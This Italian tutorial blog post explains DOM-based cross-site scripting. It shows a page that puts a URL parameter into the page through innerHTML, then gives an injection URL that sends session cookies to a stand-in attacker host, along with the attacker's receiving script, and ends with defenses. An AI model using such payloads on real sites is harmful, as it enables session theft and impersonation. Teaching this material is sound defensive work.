☠️ Attenzione alle injection: come un sito con codice non sicuro può esporre i tuoi dati

  



Una delle vulnerabilità più diffuse e pericolose nello sviluppo web è la code injection, ossia la possibilità per un utente malintenzionato di inserire ed eseguire codice arbitrario all’interno di una pagina web. 

Vediamo un esempio pratico di come un sito scritto con codice non sicuro possa permettere a un attaccante di rubare i cookie della sessione.

🔗 Ti piace Techelopment? Dai un'occhiata al sito per tutti i dettagli!

La pagina vulnerabile: test.html

Ecco una semplice pagina test.html che simula un sito qualunque:

<html>
    <head>
    </head>
    <body>
        <p>
            Hello,<br>
            <br>
            Query param is 
            <span id="queryStringParamValue"></span>      
        </p>
    </body>

    <script>
        // Simuliamo un cookie di sessione
        document.cookie = "session=X123ABC890";

        // Codice non sicuro
        const urlParams = new URLSearchParams(window.location.search);
        const myParam = urlParams.get('q');
        document.getElementById("queryStringParamValue").innerHTML = myParam;
    </script>
</html>

Scenario innocuo

URL:

https://mysite.com/test.html?q=hello

Risultato:

Il risultato sarà quello atteso ossia l'aggiunta della parola "hello" all'iterno della pagina

Hello,
Query param is hello


Comportamento atteso

📌 Diagramma del flusso di esecuzione del codice:


Primo passo: iniezione di codice

Con questo URL:

https://mysite.com/test.html?q=<iframe src=javascript:alert('hello')>

il parametro q non è più solo testo: viene interpretato come codice e genera un popup alert('hello').

Semplice code iniettato


📌 Diagramma del flusso di esecuzione del codice:


L’attacco reale: furto dei cookie

URL malevolo:

https://mysite.com/test.html?q=<iframe src=javascript:window.location='https://attackersite.net/thief.html?c='+document.cookie>

In questo caso, il browser viene reindirizzato verso un sito dell’attaccante e gli invia i cookie della sessione:

Cookie rubati 😒


📌 Diagramma del furto cookie:


La pagina dell’attaccante (thief.html) mostra o salva i cookie (in questo semplice esempio):

<script>
    const urlParams = new URLSearchParams(window.location.search);
    const cookieParam = urlParams.get('c');
    document.write(cookieParam);
</script>

In questo modo l’attaccante può rubare i cookie della vittima e impersonarla sul sito vulnerabile.


Come proteggersi

Ecco alcune misure di difesa:

  1. Non usare innerHTML con input non fidato
    Meglio textContent:
    document.getElementById("queryStringParamValue").textContent = myParam;
    Così il parametro viene mostrato come semplice testo, non come codice eseguibile.
  2. Sanitizzare i dati
    Codificare caratteri speciali (<, >, ", ') prima di inserirli nell'HTML.
  3. Impostare cookie con flag HttpOnly
    Così non possono essere letti da JavaScript.
  4. Content Security Policy (CSP)
    Limita l’esecuzione di script non autorizzati e riduce la superficie di attacco.

Conclusione

Un piccolo errore — usare innerHTML con input non controllato — può aprire la strada a gravi vulnerabilità come il furto dei cookie di sessione. 

Mai fidarsi dell’input utente: va sempre validato, filtrato e mostrato in modo sicuro.



Follow me #techelopment

Official site: www.techelopment.it
facebook: Techelopment
instagram: @techelopment
X: techelopment
Bluesky: @techelopment
telegram: @techelopment_channel
whatsapp: Techelopment
youtube: @techelopment